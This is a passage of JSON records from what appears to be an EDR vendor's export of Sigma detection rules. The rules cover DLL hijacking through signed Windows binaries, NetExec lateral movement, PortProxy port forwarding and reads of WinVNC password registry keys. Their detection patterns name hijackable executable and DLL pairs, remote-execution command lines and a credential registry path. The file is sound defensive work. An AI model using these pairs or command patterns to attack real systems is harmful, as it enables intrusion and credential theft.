+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "61ca4c01-0a75-4353-a620-f06226512ea0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.587785Z",
+  "creation_date": "2026-03-23T11:45:34.587789Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.587797Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_spaceagent.yml",
+  "content": "title: DLL Hijacking via spaceagent.exe\nid: 61ca4c01-0a75-4353-a620-f06226512ea0\ndescription: |\n    Detects potential Windows DLL Hijacking via spaceagent.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'spaceagent.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\netapi32.dll'\n            - '\\NETUTILS.DLL'\n            - '\\SRVCLI.DLL'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "61ca4c01-0a75-4353-a620-f06226512ea0",
+  "rule_name": "DLL Hijacking via spaceagent.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via spaceagent.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "61d02029-6ce0-4318-93d9-ed903605dcac",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.628399Z",
+  "creation_date": "2026-03-23T11:45:34.628401Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.628406Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/Pennyw0rth/NetExec",
+    "https://attack.mitre.org/techniques/T1047/",
+    "https://attack.mitre.org/techniques/T1021/002/",
+    "https://attack.mitre.org/techniques/T1021/003/",
+    "https://attack.mitre.org/software/S0488/"
+  ],
+  "name": "t1047_netexec_lateral_movement.yml",
+  "content": "title: NetExec Lateral Movement Detected\nid: 61d02029-6ce0-4318-93d9-ed903605dcac\ndescription: |\n    Detects lateral movement made using NetExec tools.\n    NetExec is the new name of CrackMapExec, a tool intended to ease lateral movement, internal recon and credential gathering actions.\n    It offers multiples options to remotely execute commands:\n        - wmiexec: execute via WMI, the parent of the command will be WMIPrvse.exe;\n        - atexec: execute via a schedule task, the parent of the command will be svchost.exe or taskeng.exe;\n        - mmcexec: execute a command via DCOM, the parent of the command will be mmc.exe;\n        - smbexec: execute via a service, the parent of the command will be services.exe.\n    It is recommended to investigate actions made by the child process and identify the source of the remote connection using authentication logs.\nreferences:\n    - https://github.com/Pennyw0rth/NetExec\n    - https://attack.mitre.org/techniques/T1047/\n    - https://attack.mitre.org/techniques/T1021/002/\n    - https://attack.mitre.org/techniques/T1021/003/\n    - https://attack.mitre.org/software/S0488/\ndate: 2023/12/20\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1047\n    - attack.lateral_movement\n    - attack.t1021.002\n    - attack.t1021.003\n    - attack.s0488\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.HackTool.NetExec\n    - classification.Windows.Behavior.Lateralization\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_other:\n        ParentImage|endswith:\n            - '\\wmiprvse.exe'  # wmiexec\n            - '\\mmc.exe'  # mmcexec\n            - '\\explorer.exe'  # dcomexec ShellBrowserWindow\n            - '\\services.exe'  # smbexec\n        CommandLine|endswith:\n            # wmiexec\n            - 'cmd.exe /Q /c *1> * 2>&1 && certutil -encodehex -f * && for /F * %G in (*) do reg add HKLM\\\\* /v * /t REG_SZ /d * /f && del /q /f /s *'\n            # mmcexec\n            - 'cmd.exe /Q /c * 1> \\Windows\\Temp\\\\* 2>&1'\n            # smbexec\n            - 'cmd.exe* /Q /c * ^> \\\\\\\\*\\\\* 2^>^&1 > *'\n\n    selection_atexec:\n        ParentCommandLine|contains:\n            - 'svchost.exe -k netsvcs' # atexec on win10\n            - 'taskeng.exe' # atexec on win7\n        CommandLine: 'cmd.exe /C *Windows\\Temp\\\\*&1'\n\n    # This is handled by the rule 10c14723-61c7-4c75-92ca-9af245723ad2\n    filter_impacket:\n        CommandLine: '*\\\\\\\\127.0.0.1\\\\*' # specific to impacket\n\n    condition: 1 of selection_* and not 1 of filter_*\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "61d02029-6ce0-4318-93d9-ed903605dcac",
+  "rule_name": "NetExec Lateral Movement Detected",
+  "rule_description": "Detects lateral movement made using NetExec tools.\nNetExec is the new name of CrackMapExec, a tool intended to ease lateral movement, internal recon and credential gathering actions.\nIt offers multiples options to remotely execute commands:\n    - wmiexec: execute via WMI, the parent of the command will be WMIPrvse.exe;\n    - atexec: execute via a schedule task, the parent of the command will be svchost.exe or taskeng.exe;\n    - mmcexec: execute a command via DCOM, the parent of the command will be mmc.exe;\n    - smbexec: execute via a service, the parent of the command will be services.exe.\nIt is recommended to investigate actions made by the child process and identify the source of the remote connection using authentication logs.\n",
+  "rule_creation_date": "2023-12-20",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.execution",
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1021.002",
+    "attack.t1021.003",
+    "attack.t1047"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "61e6a95d-f012-4562-af9b-2d917c66510f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.069249Z",
+  "creation_date": "2026-03-23T11:45:34.069265Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.069276Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.fireeye.com/blog/threat-research/2019/01/bypassing-network-restrictions-through-rdp-tunneling.html",
+    "https://attack.mitre.org/software/S0108/"
+  ],
+  "name": "t1090_portproxy_port_forwarding.yml",
+  "content": "title: PortProxy Port Forwarding Set in Registry\nid: 61e6a95d-f012-4562-af9b-2d917c66510f\ndescription: |\n    Detects a registry modification setting up a port forwarding configuration often used by attackers for lateral movement or to bypass network restrictions.\n    Attackers may setup port forwarding configurations to evade firewall and to grant themselves access to services that would otherwise be inaccessible.\n    It is recommended to analyze the process responsisble for the registry modification and to investigate any unwanted usage of firewalled services (such as RDP) after this action.\nreferences:\n    - https://www.fireeye.com/blog/threat-research/2019/01/bypassing-network-restrictions-through-rdp-tunneling.html\n    - https://attack.mitre.org/software/S0108/\ndate: 2021/04/14\nmodified: 2026/01/16\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.lateral_movement\n    - attack.command_and_control\n    - attack.t1090\n    - attack.s0108\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.SystemModification\n    - classification.Windows.Behavior.Lateralization\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: 'SetValue'\n        # Example: \"HKLM\\SYSTEM\\ControlSet001\\services\\PortProxy\\v4tov4\\tcp\\*/4444\"\n        TargetObject|contains: '\\PortProxy\\v4tov4\\'\n\n    filter_empty:\n        Details:\n            - '(Empty)'\n            - ''\n\n    exclusion_image:\n        - ProcessParentImage:\n            - '?:\\Program Files\\Dell\\SysMgt\\iSM\\ismeng\\bin\\dsm_ism_srvmgr.exe'\n            - '?:\\Program Files\\AgiCorp\\IMSEngine\\IMSEngine.exe'\n        - ProcessAncestors|contains: '?:\\Program Files\\UniFi OS Server\\UniFi OS Server.exe'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "61e6a95d-f012-4562-af9b-2d917c66510f",
+  "rule_name": "PortProxy Port Forwarding Set in Registry",
+  "rule_description": "Detects a registry modification setting up a port forwarding configuration often used by attackers for lateral movement or to bypass network restrictions.\nAttackers may setup port forwarding configurations to evade firewall and to grant themselves access to services that would otherwise be inaccessible.\nIt is recommended to analyze the process responsisble for the registry modification and to investigate any unwanted usage of firewalled services (such as RDP) after this action.\n",
+  "rule_creation_date": "2021-04-14",
+  "rule_modified_date": "2026-01-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion",
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1090"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "622305f6-be32-4277-ae7e-4fc4883f8645",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.599523Z",
+  "creation_date": "2026-03-23T11:45:34.599527Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.599535Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_runexehelper.yml",
+  "content": "title: DLL Hijacking via runexehelper.exe\nid: 622305f6-be32-4277-ae7e-4fc4883f8645\ndescription: |\n    Detects potential Windows DLL Hijacking via runexehelper.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'runexehelper.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\userenv.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "622305f6-be32-4277-ae7e-4fc4883f8645",
+  "rule_name": "DLL Hijacking via runexehelper.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via runexehelper.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "6290450e-94a3-43da-b84f-60b26a682603",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.095524Z",
+  "creation_date": "2026-03-23T11:45:34.095526Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.095530Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://juggernaut-sec.com/password-hunting/",
+    "https://attack.mitre.org/techniques/T1552/002/"
+  ],
+  "name": "t1003_002_susp_registry_read_winvnc_secret.yml",
+  "content": "title: WinVNC Secrets Read from Registry\nid: 6290450e-94a3-43da-b84f-60b26a682603\ndescription: |\n    Detects a suspicious read operation on registry keys storing WinVNC configuration.\n    Adversaries may attempt to steal sensitive information, such as credentials, stored in the WinVNC configuration to facilitate lateral movement within the network.\n    WinVNC is a Virtual Network Computing (VNC) server that allows remote desktop access, and its configuration registry keys often contain sensitive details like authentication credentials.\n    Unauthorized access to these keys could indicate an attempt to gather information for lateral traversal or persistence.\n    It is recommended to investigate the process attempting to access the registry keys to determine if it is legitimate and check for any related suspicious activity that may indicate a broader compromise.\nreferences:\n    - https://juggernaut-sec.com/password-hunting/\n    - https://attack.mitre.org/techniques/T1552/002/\ndate: 2024/04/02\nmodified: 2025/02/06\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1552.002\n    - attack.discovery\n    - attack.t1012\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.CredentialAccess\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: 'ReadValue'\n        TargetObject|startswith: 'HKU\\\\*\\SOFTWARE\\ORL\\WINVNC3\\PASSWORD\\'\n\n    condition: selection\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "6290450e-94a3-43da-b84f-60b26a682603",
+  "rule_name": "WinVNC Secrets Read from Registry",
+  "rule_description": "Detects a suspicious read operation on registry keys storing WinVNC configuration.\nAdversaries may attempt to steal sensitive information, such as credentials, stored in the WinVNC configuration to facilitate lateral movement within the network.\nWinVNC is a Virtual Network Computing (VNC) server that allows remote desktop access, and its configuration registry keys often contain sensitive details like authentication credentials.\nUnauthorized access to these keys could indicate an attempt to gather information for lateral traversal or persistence.\nIt is recommended to investigate the process attempting to access the registry keys to determine if it is legitimate and check for any related suspicious activity that may indicate a broader compromise.\n",
+  "rule_creation_date": "2024-04-02",
+  "rule_modified_date": "2025-02-06",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1012",
+    "attack.t1552.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "62c61440-0b70-41cf-8210-be55bac993e6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.090916Z",
+  "creation_date": "2026-03-23T11:45:34.090918Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.090923Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_easeofaccessdialog.yml",
+  "content": "title: DLL Hijacking via easeofaccessdialog.exe\nid: 62c61440-0b70-41cf-8210-be55bac993e6\ndescription: |\n    Detects potential Windows DLL Hijacking via easeofaccessdialog.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'easeofaccessdialog.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\duser.dll'\n            - '\\OLEACC.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "62c61440-0b70-41cf-8210-be55bac993e6",
+  "rule_name": "DLL Hijacking via easeofaccessdialog.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via easeofaccessdialog.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "63646426-5eeb-41c6-9946-60688b3bd242",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.094631Z",
+  "creation_date": "2026-03-23T11:45:34.094633Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.094637Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_baaupdate.yml",
+  "content": "title: DLL Hijacking via baaupdate.exe\nid: 63646426-5eeb-41c6-9946-60688b3bd242\ndescription: |\n    Detects potential Windows DLL Hijacking via baaupdate.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'baaupdate.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\FVEAPI.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "63646426-5eeb-41c6-9946-60688b3bd242",
+  "rule_name": "DLL Hijacking via baaupdate.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via baaupdate.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
